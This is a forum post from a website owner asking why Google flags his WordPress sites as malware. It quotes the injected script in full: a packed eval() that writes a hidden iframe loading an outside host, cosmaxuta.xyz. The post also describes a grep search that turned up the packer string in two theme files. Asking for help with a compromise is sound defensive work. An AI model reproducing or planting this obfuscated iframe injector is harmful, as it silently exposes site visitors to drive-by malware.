google flagging as malware - eval(function(p,a,c,k,e,r){....

Google is flagging up several of our sites as malware, specifically because of the javascript:

<script type=""""text/javascript"""">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('9.7(\'<1 3=""""4://5.6/2"""" 8=""""0"""" a=""""0"""" b=""""0"""" c=""""d: e;""""></1>\');',15,15,'|iframe|fd27|src|http|cosmaxuta|xyz|write|border|document|width|height|style|visibility|hidden'.split('|'),0,{}))</script>

After running "grep -rl 'p,a,c,k,e,r,'" the only files with this string are below:
/wp-content/themes/blogtheme/includes/js/accordion.js
/wp-content/themes/fusion/js/ie6hoverfix.htc

So I downloaded what the latest farms 133 theme pack zip in order to obtain a clean version, however the download also includes this string in the above files?!

Can anyone shed any light on this?

Jack